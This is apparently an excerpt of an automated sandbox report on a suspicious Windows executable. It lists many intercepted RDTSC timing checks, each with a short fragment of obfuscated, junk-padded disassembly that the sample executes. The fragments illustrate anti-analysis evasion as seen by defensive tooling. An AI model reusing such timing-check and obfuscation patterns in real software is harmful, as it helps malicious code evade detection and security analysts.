rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC025E second address: 4CC02A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007FCD111F5CC3h 0x0000000b sbb si, E6BEh 0x00000010 jmp 00007FCD111F5CC9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b mov di, ax 0x0000001e push eax 0x0000001f push edx 0x00000020 mov al, 91h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC02A2 second address: 4CC02A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC02A6 second address: 4CC02B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC02B5 second address: 4CC02B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC02B9 second address: 4CC02BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC02BD second address: 4CC02C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC02C3 second address: 4CC02D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD111F5CBEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC02D5 second address: 4CC0312 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD1153201Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 2Ch 0x0000000e pushad 0x0000000f popad 0x00000010 push edx 0x00000011 jmp 00007FCD1153201Ah 0x00000016 mov dword ptr [esp], ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FCD11532027h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0312 second address: 4CC0361 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD111F5CC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007FCD111F5CBEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov ecx, 0F5C8113h 0x00000018 call 00007FCD111F5CC8h 0x0000001d pop eax 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC03C3 second address: 4CC0458 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532020h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edi, edi 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FCD11532027h 0x00000012 adc si, F12Eh 0x00000017 jmp 00007FCD11532029h 0x0000001c popfd 0x0000001d push esi 0x0000001e pushfd 0x0000001f jmp 00007FCD11532027h 0x00000024 adc ax, C73Eh 0x00000029 jmp 00007FCD11532029h 0x0000002e popfd 0x0000002f pop eax 0x00000030 popad 0x00000031 inc ebx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FCD1153201Ah 0x00000039 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC05A1 second address: 4CC05A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC05A6 second address: 4CC05AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC05AC second address: 4CC05B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC068A second address: 4CC069F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532021h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC069F second address: 4CC06A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC06A5 second address: 4CC0707 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532023h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007FCD11532026h 0x00000011 nop 0x00000012 pushad 0x00000013 mov edx, eax 0x00000015 mov ecx, 086E67B9h 0x0000001a popad 0x0000001b push eax 0x0000001c jmp 00007FCD1153201Fh 0x00000021 nop 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FCD11532025h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0707 second address: 4CC0717 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD111F5CBCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0717 second address: 4CC071B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC071B second address: 4CC0739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FCD111F5CC3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0739 second address: 4CC0751 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD11532024h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC07AD second address: 4CC0015 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD111F5CC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FCD825D3B49h 0x0000000f xor eax, eax 0x00000011 jmp 00007FCD111CF3EAh 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 leave 0x0000001a retn 0004h 0x0000001d nop 0x0000001e sub esp, 04h 0x00000021 mov esi, eax 0x00000023 xor ebx, ebx 0x00000025 cmp esi, 00000000h 0x00000028 je 00007FCD111F5DF5h 0x0000002e call 00007FCD15981CFCh 0x00000033 mov edi, edi 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FCD111F5CBFh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0015 second address: 4CC0032 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532029h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0032 second address: 4CC009E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007FCD111F5CC3h 0x0000000b and cl, FFFFFFCEh 0x0000000e jmp 00007FCD111F5CC9h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 jmp 00007FCD111F5CBCh 0x0000001e jmp 00007FCD111F5CC2h 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FCD111F5CBDh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC009E second address: 4CC00A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC00A4 second address: 4CC00F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD111F5CBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FCD111F5CC0h 0x0000000f mov ebp, esp 0x00000011 jmp 00007FCD111F5CC0h 0x00000016 xchg eax, ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FCD111F5CC7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC00F1 second address: 4CC0132 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 mov ebx, esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007FCD11532029h 0x00000015 add esi, 50F17336h 0x0000001b jmp 00007FCD11532021h 0x00000020 popfd 0x00000021 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0132 second address: 4CC01BA instructions: 0x00000000 rdtsc 0x00000002 mov ch, 97h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FCD111F5CBDh 0x0000000c and ecx, 108AC496h 0x00000012 jmp 00007FCD111F5CC1h 0x00000017 popfd 0x00000018 popad 0x00000019 xchg eax, ecx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FCD111F5CBCh 0x00000021 jmp 00007FCD111F5CC5h 0x00000026 popfd 0x00000027 push esi 0x00000028 mov ah, bh 0x0000002a pop eax 0x0000002b popad 0x0000002c mov dword ptr [ebp-04h], 55534552h 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007FCD111F5CC0h 0x0000003c sub cx, AE48h 0x00000041 jmp 00007FCD111F5CBBh 0x00000046 popfd 0x00000047 mov cx, 81BFh 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC01BA second address: 4CC01C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC01C0 second address: 4CC01C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC01C4 second address: 4CC01C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0BA0 second address: 4CC0BC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD111F5CBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FCD111F5CC5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0BC7 second address: 4CC0BF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov esi, 6F8CC13Fh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FCD11532027h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0BF1 second address: 4CC0C0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD111F5CC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0C0E second address: 4CC0C13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0C13 second address: 4CC0C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 6AA5FCA0h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007FCD111F5CBFh 0x00000012 mov ebp, esp 0x00000014 pushad 0x00000015 mov ebx, esi 0x00000017 pushfd 0x00000018 jmp 00007FCD111F5CC0h 0x0000001d adc eax, 29487A18h 0x00000023 jmp 00007FCD111F5CBBh 0x00000028 popfd 0x00000029 popad 0x0000002a cmp dword ptr [760F459Ch], 05h 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FCD111F5CC5h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0CCC second address: 4CC0CDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD1153201Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0D48 second address: 4CC0D4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0D4D second address: 4CC0D65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD11532024h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0D65 second address: 4CC0D69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0D69 second address: 4CC0DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a jmp 00007FCD11532027h 0x0000000f je 00007FCD828F5C11h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FCD11532020h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0DA4 second address: 4CC0DB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD111F5CBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0DB3 second address: 4CC0DF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532029h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp+08h], 00002000h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FCD11532028h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CC0DF3 second address: 4CC0DF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD091D second address: 4CD0923 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD0923 second address: 4CD0965 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop ebx 0x00000005 mov bl, ah 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FCD111F5CBEh 0x00000010 xchg eax, ebp 0x00000011 jmp 00007FCD111F5CC0h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b call 00007FCD111F5CBDh 0x00000020 pop esi 0x00000021 mov bx, 9BE4h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD0965 second address: 4CD09BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 6A4C5A6Fh 0x00000008 pushfd 0x00000009 jmp 00007FCD11532024h 0x0000000e jmp 00007FCD11532025h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, esi 0x00000018 jmp 00007FCD1153201Eh 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FCD1153201Eh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD09BB second address: 4CD0A02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 pushfd 0x00000007 jmp 00007FCD111F5CBDh 0x0000000c or eax, 5B675596h 0x00000012 jmp 00007FCD111F5CC1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, esi 0x0000001c jmp 00007FCD111F5CBEh 0x00000021 mov esi, dword ptr [ebp+0Ch] 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD0A02 second address: 4CD0A06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD0A06 second address: 4CD0A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD0A0C second address: 4CD0A56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FCD11532022h 0x00000009 xor ax, 3818h 0x0000000e jmp 00007FCD1153201Bh 0x00000013 popfd 0x00000014 mov esi, 59A5A3CFh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c test esi, esi 0x0000001e pushad 0x0000001f pushad 0x00000020 mov edi, ecx 0x00000022 mov ah, D4h 0x00000024 popad 0x00000025 mov edx, 317228EAh 0x0000002a popad 0x0000002b je 00007FCD828EF983h 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD0A56 second address: 4CD0A5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD0A5A second address: 4CD0A74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532026h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD0A74 second address: 4CD0A91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD111F5CBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [760F459Ch], 05h 0x00000010 pushad 0x00000011 mov dl, ah 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD0B0C second address: 4CD0BA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532025h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov dh, ch 0x0000000d call 00007FCD11532029h 0x00000012 pushfd 0x00000013 jmp 00007FCD11532020h 0x00000018 and cx, CB18h 0x0000001d jmp 00007FCD1153201Bh 0x00000022 popfd 0x00000023 pop esi 0x00000024 popad 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 call 00007FCD1153201Bh 0x0000002e pop esi 0x0000002f pushfd 0x00000030 jmp 00007FCD11532029h 0x00000035 and ah, 00000066h 0x00000038 jmp 00007FCD11532021h 0x0000003d popfd 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD0BA6 second address: 4CD0BB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD111F5CBCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD0BB6 second address: 4CD0BBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD0C15 second address: 4CD0C19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD0C19 second address: 4CD0C1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 4CD0C1F second address: 4CD0C4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD111F5CC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FCD111F5CC7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 654E751 second address: 654E761 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD1153201Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 654E761 second address: 654E765 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BC45B second address: 66BC461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BB5F6 second address: 66BB5FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BB5FA second address: 66BB604 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FCD11532016h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BB604 second address: 66BB60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BB60E second address: 66BB612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BB612 second address: 66BB620 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD111F5CBAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BB620 second address: 66BB62C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BB62C second address: 66BB630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BB630 second address: 66BB65B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532023h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FCD11532020h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BB79F second address: 66BB7A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BB7A3 second address: 66BB7A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BB924 second address: 66BB94E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FCD111F5CB8h 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FCD111F5CC3h 0x00000014 push ebx 0x00000015 jc 00007FCD111F5CB6h 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BBA8D second address: 66BBA9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD1153201Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BF9FE second address: 66BFA04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BFA04 second address: 66BFA09 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 66BFB39 second address: 66BFB63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 mov dword ptr [esp], eax 0x0000000b cld 0x0000000c push 00000000h 0x0000000e movsx edx, dx 0x00000011 push B8DD0BD6h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FCD111F5CC2h 0x0000001d rdtsc
